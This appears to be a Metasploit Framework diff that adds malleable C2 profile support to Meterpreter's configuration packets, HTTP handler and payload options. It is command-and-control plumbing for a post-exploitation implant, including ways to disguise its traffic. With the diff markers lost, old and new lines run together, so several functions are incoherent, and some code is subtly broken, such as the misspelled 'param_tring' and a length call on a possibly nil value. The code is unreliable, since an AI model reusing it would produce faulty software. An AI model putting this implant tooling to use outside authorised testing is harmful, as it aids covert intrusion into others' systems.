def add_extension_tlv(tlv, ext_name, ext_init_path, file_extension, debug_build: false)
ext_name = ext_name.strip.downcase
ext, _ = load_rdi_dll(MetasploitPayloads.meterpreter_path("ext_server_#{ext_name}",
file_extension, debug: debug_build))
[ ext.length, ext ].pack('VA*')
end
def extension_init_block(name, value)
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(name)
# for now, we're going to blindly assume that the value is a path to a file
# which contains the data that gets passed to the extension
content = ::File.read(value, mode: 'rb') + "\x00\x00"
data = [
ext_id,
content.length,
content
]
data.pack('VVA*')
ext_tlv = MET::GroupTlv.new(MET::TLV_TYPE_EXTENSION)
ext_tlv.add_tlv(MET::TLV_TYPE_DATA, ext)
unless (ext_init_path || '').empty?
ext_id = Rex::Post::Meterpreter::ExtensionMapper.get_extension_id(ext_name)
init_data = ::File.read(ext_init_path, mode: 'rb')
ext_tlv.add_tlv(MET::TLV_TYPE_STRING, init_data) unless (init_data || '').empty?
ext_tlv.add_tlv(MET::TLV_META_TYPE_UINT, ext_id)
end
tlv.tlvs << ext_tlv
end
def config_block
# start with the session information
config = session_block(@opts)
config_packet = MET::Packet.create_config()
add_session_tlv(config_packet, @opts)
# then load up the transport configurations
(@opts[:transports] || []).each do |t|
config << transport_block(t)
add_c2_tlv(config_packet, t)
end
# terminate the transports with NULL (wchar)
config << "\x00\x00"
# configure the extensions - this will have to change when posix comes
# into play.
file_extension = 'x86.dll'
file_extension = 'x64.dll' unless is_x86?
ext_inits = (@opts[:ext_init] || '').split(':').map{|v| v.split(',')}.to_h{|l| l}
(@opts[:extensions] || []).each do |e|
config << extension_block(e, file_extension, debug_build: @opts[:debug_build])
add_extension_tlv(config_packet, e, ext_inits[e], file_extension, debug_build: @opts[:debug_build])
end
# terminate the extensions with a 0 size
config << [0].pack('V')
# comms handle needs to have space added, as this is where things are patched by the stager
comms_handle = "\x00" * 8
config_bytes = config_packet.to_r
# wire in the extension init data
(@opts[:ext_init] || '').split(':').each do |cfg|
name, value = cfg.split(',')
config << extension_init_block(name, value)
end
# terminate the ext init config with -1
config << "\xFF\xFF\xFF\xFF"
# and we're done
config
comms_handle + config_bytes
end
end
+32 -10
View File
@@ -33,16 +33,7 @@ module Rex
URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri [String] The URI string from the HTTP request
# @return [Hash] The attributes extracted from the URI
def process_uri_resource(uri)
# Ignore non-base64url characters in the URL
uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
def process_uuid_string(uri_bare)
# Figure out the mode based on the checksum
uri_csum = Rex::Text.checksum8(uri_bare)
@@ -58,6 +49,37 @@ module Rex
{ uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
end
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri [String] The URI string from the HTTP request
# @return [Hash] The attributes extracted from the URI
def process_uri_resource(uri)
# look for the UUID anywhere in the given URI, excluding the query string
uri.split('?')[0].split('/').each {|u|
# Ignore non-base64url characters in the URL
uri_bare = u.gsub(/[^a-zA-Z0-9_\-]/, '')
h = process_uuid_string(uri_bare)
return h if h[:uuid]
}
nil
end
# Map "random" get params to static strings.
#
# @param [String] The query string from the HTTP request.
# @return [Hash] The attributes extracted from the URI
def process_query_string_resource(query_string)
end
# Map "random" cookies to static strings.
#
# @param cookie [String] The Cookie header string from the HTTP request.
# @return [Hash] The attributes extracted from the URI
def process_cookie_resource(cookie)
end
# Create a URI that matches the specified checksum and payload uuid
#
# @param sum [Integer] A checksum mode value to use for the generated url
+32
View File
@@ -115,6 +115,32 @@ class Client
shutdown_tlv_logging
end
#
# Wrap the given packet data with any prefixes and suffixes that are stored in
# the associated C2 profile server configuration (if it exists) and handle
# encoding of data
#
def wrap_packet(raw_bytes)
if self.c2_profile
raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes)
end
raw_bytes
end
#
# Unwrap the given packet data from any prefixes and suffixes that are stored in
# the associated C2 profile client configuration (if it exists) and handle
# decoding of data
#
def unwrap_packet(raw_bytes)
if self.c2_profile
raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes)
end
raw_bytes
end
#
# Initializes the meterpreter client instance
#
@@ -133,6 +159,8 @@ class Client
self.url = opts[:url]
self.ssl = opts[:ssl]
self.c2_profile = opts[:c2_profile]
self.pivot_session = opts[:pivot_session]
if self.pivot_session
self.expiration = self.pivot_session.expiration
@@ -500,6 +528,10 @@ class Client
#
attr_accessor :last_checkin
#
# Reference to the c2 profile instance associated with this connection, if any.
#
attr_accessor :c2_profile
#
# Whether or not to use a debug build for loaded extensions
#
attr_accessor :debug_build
+47 -40
View File
@@ -142,22 +142,26 @@ class ClientCore < Extension
response = client.send_request(request)
result = {
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
:session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY),
:transports => []
}
response.each(TLV_TYPE_TRANS_GROUP) { |t|
response.each(TLV_TYPE_C2) { |t|
# TODO: Consider adding more information to the output for malleable profiles?
# TLV_TYPE_C2_GET, TLV_TYPE_C2_POST, TLV_TYPE_C2_PREFIX, TLV_TYPE_C2_SUFFIX, TLV_TYPE_C2_ENC,
# TLV_TYPE_C2_SKIP_COUNT, TLV_TYPE_C2_UUID_COOKIE, TLV_TYPE_C2_UUID_GET, TLV_TYPE_C2_UUID_HEADER
# Not sure if this stuff is useful for this display though.
result[:transports] << {
:url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
:comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
:ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
:proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
:proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
:proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
:cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH),
:custom_headers => t.get_tlv_value(TLV_TYPE_TRANS_HEADERS)
:url => t.get_tlv_value(TLV_TYPE_C2_URL),
:comm_timeout => t.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT),
:retry_total => t.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL),
:retry_wait => t.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT),
:ua => t.get_tlv_value(TLV_TYPE_C2_UA),
:proxy_host => t.get_tlv_value(TLV_TYPE_C2_PROXY_URL),
:proxy_user => t.get_tlv_value(TLV_TYPE_C2_PROXY_USER),
:proxy_pass => t.get_tlv_value(TLV_TYPE_C2_PROXY_PASS),
:cert_hash => t.get_tlv_value(TLV_TYPE_C2_CERT_HASH),
:custom_headers => t.get_tlv_value(TLV_TYPE_C2_HEADERS)
}
}
@@ -171,25 +175,25 @@ class ClientCore < Extension
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SET_TIMEOUTS)
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp])
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
end
response = client.send_request(request)
{
:session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
:comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
:retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
:retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
:session_exp => response.get_tlv_value(TLV_TYPE_SESSION_EXPIRY),
:comm_timeout => response.get_tlv_value(TLV_TYPE_C2_COMM_TIMEOUT),
:retry_total => response.get_tlv_value(TLV_TYPE_C2_RETRY_TOTAL),
:retry_wait => response.get_tlv_value(TLV_TYPE_C2_RETRY_WAIT)
}
end
@@ -523,7 +527,7 @@ class ClientCore < Extension
# we're reusing the comms timeout setting here instead of
# creating a whole new TLV value
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, seconds)
client.send_request(request)
return true
end
@@ -556,7 +560,7 @@ class ClientCore < Extension
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_SETCERTHASH)
hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash)
client.send_request(request)
@@ -590,7 +594,7 @@ class ClientCore < Extension
request = Packet.create_request(COMMAND_ID_CORE_TRANSPORT_GETCERTHASH)
response = client.send_request(request)
return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
return response.get_tlv_value(TLV_TYPE_C2_CERT_HASH)
end
#
@@ -858,7 +862,7 @@ private
# Helper function to prepare a transport request that will be sent to the
# attached session.
#
def transport_prepare_request(method, opts={})
def transport_prepare_request(command_id, opts={})
unless valid_transport?(opts[:transport]) && opts[:lport]
return nil
end
@@ -872,7 +876,11 @@ private
transport = opts[:transport].downcase
request = Packet.create_request(method)
request = Packet.create_request(command_id)
if opts[:session_exp]
request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp])
end
scheme = transport.split('_')[1]
url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}"
@@ -887,20 +895,18 @@ private
end
end
if opts[:comm_timeout]
request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
end
c2_tlv = GroupTlv.new(TLV_TYPE_C2)
if opts[:session_exp]
request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
if opts[:comm_timeout]
c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout])
end
if opts[:retry_total]
request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total])
end
if opts[:retry_wait]
request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait])
end
# do more magic work for http(s) payloads
@@ -915,31 +921,32 @@ private
end
opts[:ua] ||= Rex::UserAgent.random
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua])
if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash)
end
if opts[:proxy_host] && opts[:proxy_port]
prefix = 'http://'
prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks'
proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}"
request.add_tlv(TLV_TYPE_TRANS_PROXY_HOST, proxy)
proxy = "#{prefix}#{Rex::Socket.to_authority(opts[:proxy_host], opts[:proxy_port])}"
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_URL, proxy)
if opts[:proxy_user]
request.add_tlv(TLV_TYPE_TRANS_PROXY_USER, opts[:proxy_user])
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user])
end
if opts[:proxy_pass]
request.add_tlv(TLV_TYPE_TRANS_PROXY_PASS, opts[:proxy_pass])
c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass])
end
end
end
request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport])
request.add_tlv(TLV_TYPE_TRANS_URL, url)
c2_tlv.add_tlv(TLV_TYPE_C2_URL, url)
request.tlvs << c2_tlv
request
end
+1 -1
View File
@@ -28,7 +28,7 @@ COMMAND_ID_CORE_MACHINE_ID = EXTENSION_ID_CORE + 13
COMMAND_ID_CORE_MIGRATE = EXTENSION_ID_CORE + 14
COMMAND_ID_CORE_NATIVE_ARCH = EXTENSION_ID_CORE + 15
COMMAND_ID_CORE_NEGOTIATE_TLV_ENCRYPTION = EXTENSION_ID_CORE + 16
COMMAND_ID_CORE_PATCH_URL = EXTENSION_ID_CORE + 17
COMMAND_ID_CORE_PATCH_UUID = EXTENSION_ID_CORE + 17
COMMAND_ID_CORE_PIVOT_ADD = EXTENSION_ID_CORE + 18
COMMAND_ID_CORE_PIVOT_REMOVE = EXTENSION_ID_CORE + 19
COMMAND_ID_CORE_PIVOT_SESSION_DIED = EXTENSION_ID_CORE + 20
+44 -15
View File
@@ -11,6 +11,7 @@ module Meterpreter
#
PACKET_TYPE_REQUEST = 0
PACKET_TYPE_RESPONSE = 1
PACKET_TYPE_CONFIG = 2
PACKET_TYPE_PLAIN_REQUEST = 10
PACKET_TYPE_PLAIN_RESPONSE = 11
@@ -91,20 +92,6 @@ TLV_TYPE_MIGRATE_STUB = TLV_META_TYPE_RAW | 411
TLV_TYPE_LIB_LOADER_NAME = TLV_META_TYPE_STRING | 412
TLV_TYPE_LIB_LOADER_ORDINAL = TLV_META_TYPE_UINT | 413
TLV_TYPE_TRANS_TYPE = TLV_META_TYPE_UINT | 430
TLV_TYPE_TRANS_URL = TLV_META_TYPE_STRING | 431
TLV_TYPE_TRANS_UA = TLV_META_TYPE_STRING | 432
TLV_TYPE_TRANS_COMM_TIMEOUT = TLV_META_TYPE_UINT | 433
TLV_TYPE_TRANS_SESSION_EXP = TLV_META_TYPE_UINT | 434
TLV_TYPE_TRANS_CERT_HASH = TLV_META_TYPE_RAW | 435
TLV_TYPE_TRANS_PROXY_HOST = TLV_META_TYPE_STRING | 436
TLV_TYPE_TRANS_PROXY_USER = TLV_META_TYPE_STRING | 437
TLV_TYPE_TRANS_PROXY_PASS = TLV_META_TYPE_STRING | 438
TLV_TYPE_TRANS_RETRY_TOTAL = TLV_META_TYPE_UINT | 439
TLV_TYPE_TRANS_RETRY_WAIT = TLV_META_TYPE_UINT | 440
TLV_TYPE_TRANS_HEADERS = TLV_META_TYPE_STRING | 441
TLV_TYPE_TRANS_GROUP = TLV_META_TYPE_GROUP | 442
TLV_TYPE_MACHINE_ID = TLV_META_TYPE_STRING | 460
TLV_TYPE_UUID = TLV_META_TYPE_RAW | 461
TLV_TYPE_SESSION_GUID = TLV_META_TYPE_RAW | 462
@@ -121,6 +108,44 @@ TLV_TYPE_PIVOT_ID = TLV_META_TYPE_RAW | 650
TLV_TYPE_PIVOT_STAGE_DATA = TLV_META_TYPE_RAW | 651
TLV_TYPE_PIVOT_NAMED_PIPE_NAME = TLV_META_TYPE_STRING | 653
#
# Configuration & C2 options
#
TLV_TYPE_SESSION_EXPIRY = TLV_META_TYPE_UINT | 700 # Session expiration time
TLV_TYPE_EXITFUNC = TLV_META_TYPE_UINT | 701 # identifier of the exit function to use
TLV_TYPE_DEBUG_LOG = TLV_META_TYPE_STRING | 702 # path to write debug log
TLV_TYPE_EXTENSION = TLV_META_TYPE_GROUP | 703 # Group containing extension info
TLV_TYPE_C2 = TLV_META_TYPE_GROUP | 704 # a C2/transport grouping
TLV_TYPE_C2_COMM_TIMEOUT = TLV_META_TYPE_UINT | 705 # the timeout for this C2 group
TLV_TYPE_C2_RETRY_TOTAL = TLV_META_TYPE_UINT | 706 # number of times to retry this C2
TLV_TYPE_C2_RETRY_WAIT = TLV_META_TYPE_UINT | 707 # how long to wait between reconnect attempts
TLV_TYPE_C2_URL = TLV_META_TYPE_STRING | 708 # base URL of this C2 (scheme://host:port/uri)
TLV_TYPE_C2_URI = TLV_META_TYPE_STRING | 709 # URI to append to base URL (for HTTP(s)), if any
TLV_TYPE_C2_PROXY_URL = TLV_META_TYPE_STRING | 710 # Proxy URL
TLV_TYPE_C2_PROXY_USER = TLV_META_TYPE_STRING | 711 # Proxy user name
TLV_TYPE_C2_PROXY_PASS = TLV_META_TYPE_STRING | 712 # Proxy password
TLV_TYPE_C2_GET = TLV_META_TYPE_GROUP | 713 # A grouping of params associated with GET requests
TLV_TYPE_C2_POST = TLV_META_TYPE_GROUP | 714 # A grouping of params associated with POST requests
TLV_TYPE_C2_HEADERS = TLV_META_TYPE_STRING | 715 # Custom headers
TLV_TYPE_C2_UA = TLV_META_TYPE_STRING | 716 # User agent
TLV_TYPE_C2_CERT_HASH = TLV_META_TYPE_RAW | 717 # Expected SSL certificate hash
TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload
TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload
TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url)
TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes)
TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes)
TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in
TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in
TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in
TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s
#
# C2 Encoding flags
#
C2_ENCODING_NONE = 0 # No encoding at all
C2_ENCODING_B64 = 1 # Base64 encoding
C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters
C2_ENCODING_URL = 3 # URL encoding
#
# Core flags
@@ -816,6 +841,10 @@ class Packet < GroupTlv
#
##
def Packet.create_config()
Packet.new(PACKET_TYPE_CONFIG)
end
#
# Creates a request with the supplied method.
#
@@ -949,7 +978,7 @@ class Packet < GroupTlv
raw = (session_guid || NULL_GUID).dup
tlv_data = GroupTlv.instance_method(:to_r).bind(self).call
if key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)
if @type != PACKET_TYPE_CONFIG && key && key[:key] && (key[:type] == ENC_FLAG_AES128 || key[:type] == ENC_FLAG_AES256)
# encrypt the data, but not include the length and type
iv, ciphertext = aes_encrypt(key[:key], tlv_data[HEADER_SIZE..-1])
# now manually add the length/type/iv/ciphertext
+15 -12
View File
@@ -710,16 +710,18 @@ protected
end
module HttpPacketDispatcher
def connection_uuid
self.conn_id.to_s.split('?')[0].split('/').compact.last.gsub(/(^\/|\/$)/, '')
end
def initialize_passive_dispatcher
super
# Ensure that there is only one leading and trailing slash on the URI
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
self.passive_service = self.passive_dispatcher
self.passive_service.remove_resource(resource_uri)
self.passive_service.add_resource(resource_uri,
self.passive_service.remove_resource(self.connection_uuid)
self.passive_service.add_resource(self.connection_uuid,
'Proc' => Proc.new { |cli, req| on_passive_request(cli, req) },
'VirtualDirectory' => true
'VirtualDirectory' => true,
)
# Add a reference count to the handler
@@ -728,9 +730,7 @@ module HttpPacketDispatcher
def shutdown_passive_dispatcher
if self.passive_service
# Ensure that there is only one leading and trailing slash on the URI
resource_uri = "/" + self.conn_id.to_s.gsub(/(^\/|\/$)/, '') + "/"
self.passive_service.remove_resource(resource_uri) if self.passive_service
self.passive_service.remove_resource(self.connection_uuid) if self.passive_service
self.passive_service.deref
self.passive_service = nil
@@ -749,8 +749,9 @@ module HttpPacketDispatcher
self.last_checkin = ::Time.now
if req.method == 'GET'
rpkt = send_queue.shift
resp.body = rpkt || ''
rpkt = send_queue.shift || ''
rpkt = self.wrap_packet(rpkt) if self.respond_to?(:wrap_packet)
resp.body = rpkt
begin
cli.send_response(resp)
rescue ::Exception => e
@@ -759,9 +760,11 @@ module HttpPacketDispatcher
end
else
resp.body = ""
if req.body and req.body.length > 0
body = req.body
if body && body.length > 0
body = self.unwrap_packet(body) if self.respond_to?(:unwrap_packet)
packet = Packet.new(0)
packet.add_raw(req.body)
packet.add_raw(body)
packet.parse_header!
packet = decrypt_inbound_packet(packet)
dispatch_inbound_packet(packet)
+21 -5
View File
@@ -67,6 +67,23 @@ class Packet
self.headers[key] = value
end
#
# The `body` attribute was overridden by subclasses, causing quirky behaviour issues,
# such as when a POST request contained query string parameters resulting in the query
# string being prepended to the data that was contained in the body. To avoid this
# utterly ridiculous behaviour while maintaning the status-quo of having the request
# class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal
# buffer to collect the request's body, rather than using the attribute, which prevents
# this insanity from happening.
#
def body=(val)
@body_bytes = val
end
def body
@body_bytes
end
#
# Parses the supplied buffer. Returns one of the two parser processing
# codes (Completed, Partial, or Error).
@@ -116,7 +133,7 @@ class Packet
self.inside_chunk = false
self.headers.reset
self.bufq = ''
self.body = ''
@body_bytes = ''
end
#
@@ -127,7 +144,7 @@ class Packet
self.transfer_chunked = false
self.inside_chunk = false
self.headers.reset
self.body = ''
@body_bytes = ''
end
#
@@ -254,7 +271,6 @@ class Packet
attr_accessor :error
attr_accessor :state
attr_accessor :bufq
attr_accessor :body
attr_accessor :auto_cl
attr_accessor :max_data
attr_accessor :transfer_chunked
@@ -409,11 +425,11 @@ protected
# to our body state.
if (self.body_bytes_left > 0)
part = self.bufq.slice!(0, self.body_bytes_left)
self.body += part
@body_bytes += part
self.body_bytes_left -= part.length
# Otherwise, just read it all.
else
self.body += self.bufq
@body_bytes += self.bufq
self.bufq = ''
end
+12 -7
View File
@@ -217,16 +217,16 @@ class Request < Packet
str + super
end
#
# Returns a hijacked version of the body that shoves the request's query string in as a
# replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯
#
def body
str = super || ''
if str.length > 0
return str
if str.length == 0 && PostRequests.include?(self.method)
str = param_tring
end
if PostRequests.include?(self.method)
return param_string
end
''
str
end
#
@@ -271,6 +271,11 @@ class Request < Packet
def meta_vars
end
#
# An identifier associated with the incoming request, can be used to match requests with sessions.
#
attr_accessor :conn_id
#
# The method being used for the request (e.g. GET).
#
+33 -16
View File
@@ -165,7 +165,7 @@ class Server
end
# If a procedure was passed, mount the resource with it.
if (opts['Proc'])
if opts['Proc']
mount(name, Handler::Proc, false, opts['Proc'], opts['VirtualDirectory'])
else
raise ArgumentError, "You must specify a procedure."
@@ -182,8 +182,10 @@ class Server
#
# Adds Server headers and stuff.
#
def add_response_headers(resp)
def add_response_headers(req, resp)
resp['Server'] = self.server_name if not resp['Server']
expl = self.context['MsfExploit']
expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers)
end
#
@@ -274,24 +276,39 @@ protected
#
def dispatch_request(cli, request)
# Is the client requesting keep-alive?
if ((request['Connection']) and
(request['Connection'].downcase == 'Keep-Alive'.downcase))
if request['Connection'] && request['Connection'].downcase == 'keep-alive'
cli.keepalive = true
end
# Search for the resource handler for the requested URL. This is pretty
# inefficient right now, but we can spruce it up later.
p = nil
len = 0
root = nil
# first, try to match up the request with a handler based on a matching
# function that's present in the context, if specified.
expl = self.context['MsfExploit']
resource_id = expl.find_resource_id(cli, request) if expl && expl.respond_to?(:find_resource_id)
request.conn_id = resource_id
resources.each_pair { |k, val|
if (request.resource =~ /^#{k}/ and k.length > len)
p = val
len = k.length
root = k
end
}
if resource_id && resources[resource_id]
p = resources[resource_id]
len = resource_id.length
root = request.resource
elsif resources[request.resource]
p = resources[request.resource]
len = resource_id.length
root = request.resource
else
# Search for the resource handler for the requested URL. This is pretty
# inefficient right now, but we can spruce it up later.
p = nil
len = 0
root = nil
resources.each_pair { |k, val|
if (request.resource =~ /^#{k}/ and k.length > len)
p = val
len = k.length
root = k
end
}
end
if (p)
# Create an instance of the handler for this resource
+1 -1
View File
@@ -38,7 +38,7 @@ module ServerClient
response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close'
# Add any other standard response headers.
server.add_response_headers(response)
server.add_response_headers(self.request, response)
# Send it off.
put(response.to_s)
@@ -28,6 +28,7 @@ module MetasploitModule
)
register_options([
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
@@ -45,6 +46,7 @@ module MetasploitModule
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
opts[:c2_profile] = datastore['MALLEABLEC2']
# create the configuration block
config_opts = {
@@ -28,6 +28,7 @@ module MetasploitModule
)
register_options([
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
@@ -45,6 +46,7 @@ module MetasploitModule
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
opts[:c2_profile] = datastore['MALLEABLEC2']
# create the configuration block
config_opts = {
@@ -28,6 +28,7 @@ module MetasploitModule
)
register_options([
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
@@ -45,6 +46,7 @@ module MetasploitModule
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
opts[:c2_profile] = datastore['MALLEABLEC2']
# create the configuration block
config_opts = {
@@ -28,6 +28,7 @@ module MetasploitModule
)
register_options([
OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']),
OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']),
OptString.new('EXTINIT', [false, 'Initialization strings for extensions'])
])
@@ -45,6 +46,7 @@ module MetasploitModule
def generate_config(opts = {})
opts[:uuid] ||= generate_payload_uuid
opts[:c2_profile] = datastore['MALLEABLEC2']
# create the configuration block
config_opts = {
+1 -1
View File
@@ -123,7 +123,7 @@ RSpec.describe Rex::Post::Meterpreter::Tlv do
context "Any non group TLV_TYPE" do
subject(:tlv_types){
excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_TRANS_GROUP"]
excludedTypes = ["TLV_TYPE_ANY", "TLV_TYPE_EXCEPTION", "TLV_TYPE_CHANNEL_DATA_GROUP", "TLV_TYPE_C2", "TLV_TYPE_EXTENSION", "TLV_TYPE_C2_GET", "TLV_TYPE_C2_POST"]
typeList = []
Rex::Post::Meterpreter.constants.each do |type|
typeList << type.to_s if type.to_s.include?("TLV_TYPE") && !excludedTypes.include?(type.to_s)